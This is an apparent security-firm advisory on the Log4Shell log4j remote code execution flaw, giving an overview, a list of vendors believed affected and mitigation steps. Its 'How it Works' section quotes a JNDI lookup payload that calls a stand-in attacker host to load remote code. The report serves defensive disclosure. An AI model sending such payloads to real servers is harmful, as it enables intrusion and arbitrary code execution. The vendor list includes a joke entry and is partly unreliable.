cybersecurity
associates

Log4Shell: log4j Remote Code Execution

Dated: 11th December 2021

This report contains threat hunting research carried out by CSA analysts to produce a high-level overview of the recent log4j vulnerability.

Log4Shell

Overview

On the 9th December 2021, a 0-day exploit was discovered in the Java logging library log4j2. The Remote Code Execution (RCE) vulnerability allows an adversary to send a specially crafted string to a vulnerable application resulting in commands run by the server. Due to the widespread usage of this library, this vulnerability (tracked as CVE-2021-44228) has a large attack surface with which it can exploit, ranging from cloud services like Steam and Apple iCloud to games such as Minecraft. In short, any Java-based application or service using Apache log4j versions 2.0 to 2.14.1 is vulnerable and can be compromised.

At present, the exploit is being used by Crypto Mining groups to gain initial access however, the potential usage extends to advanced threat actors, ransomware operators and anyone else who may want to compromise an organisation.

Affected Vendors

Currently, the following list is of vendors believed to be vulnerable. However, more applications are being identified and verified, continually increasing the attack surface.

Manufacturer/Component	Verified
Apple	TRUE
Tencent	TRUE
Steam	TRUE
Twitter	TRUE
Baidu	TRUE
DIDI	TRUE
JD	TRUE
NetEase	TRUE
CloudFlare	TRUE
Amazon	TRUE
Tesla	TRUE
Apache Solr	TRUE
Apache Druid	TRUE
Apache Flink	FALSE
Apache Struts2	TRUE
Flume	FALSE
Dubbo	FALSE
IBM Qradar SIEM	TRUE
PaloAlto Panorama	TRUE
Redis	FALSE
Logstash	FALSE
ElasticSearch	TRUE
Kafka	FALSE
Ghidra	TRUE

Ghidra Server	TRUE
Minecraft	TRUE
PulseSecure	TRUE
UniFi	TRUE
VMWare	TRUE
Blender	TRUE
Google	TRUE
Webex	TRUE
LinkedIn	TRUE
VMWarevCenter	TRUE
Speed camera LOL	TRUE

How it Works

1. The server receives a request from the user containing the malicious payload.
2. The server then logs the request data, which looks similar to: '${jndi:ldap://attacker.com/a}'.
3. The payload causes the server to make a request to 'attacker.com' using the Java Naming and Directory Interface (JNDI).
4. The attacker response contains a path to a remote Java class file that is injected into the server process.
5. Finally, the injected payload triggers a second stage which provides the ability for an attacker to execute arbitrary code.

Mitigation

If possible, the best method of mitigation is to patch log4j to version 2.15.0 which has been released without the vulnerability. It is recognised however, that if log4j is in use as part of a wider application, like cPanel or SecurityOnion, then immediate upgrade may not be possible until a patch is released by the vendor. If this is the case the following steps are recommended:

- Isolate the vulnerable services from the network using a 'vulnerable VLAN'.
- Monitor the systems for abnormal traffic to or from the host. A web server initiating an outbound request may indicate a reverse shell attempting to be established.
- Monitor unauthorised or unexpected config changes to all systems which may indicate an attacker attempting to maintain persistent access.

For public-facing applications protected by CloudFlare, CloudFlare Web Application Firewall (WAF) now includes three newly deployed rules: to automatically block Log4j headers, body and URLs within requests. If not currently in use, CloudFlare WAF should be considered as mitigation for public infrastructure.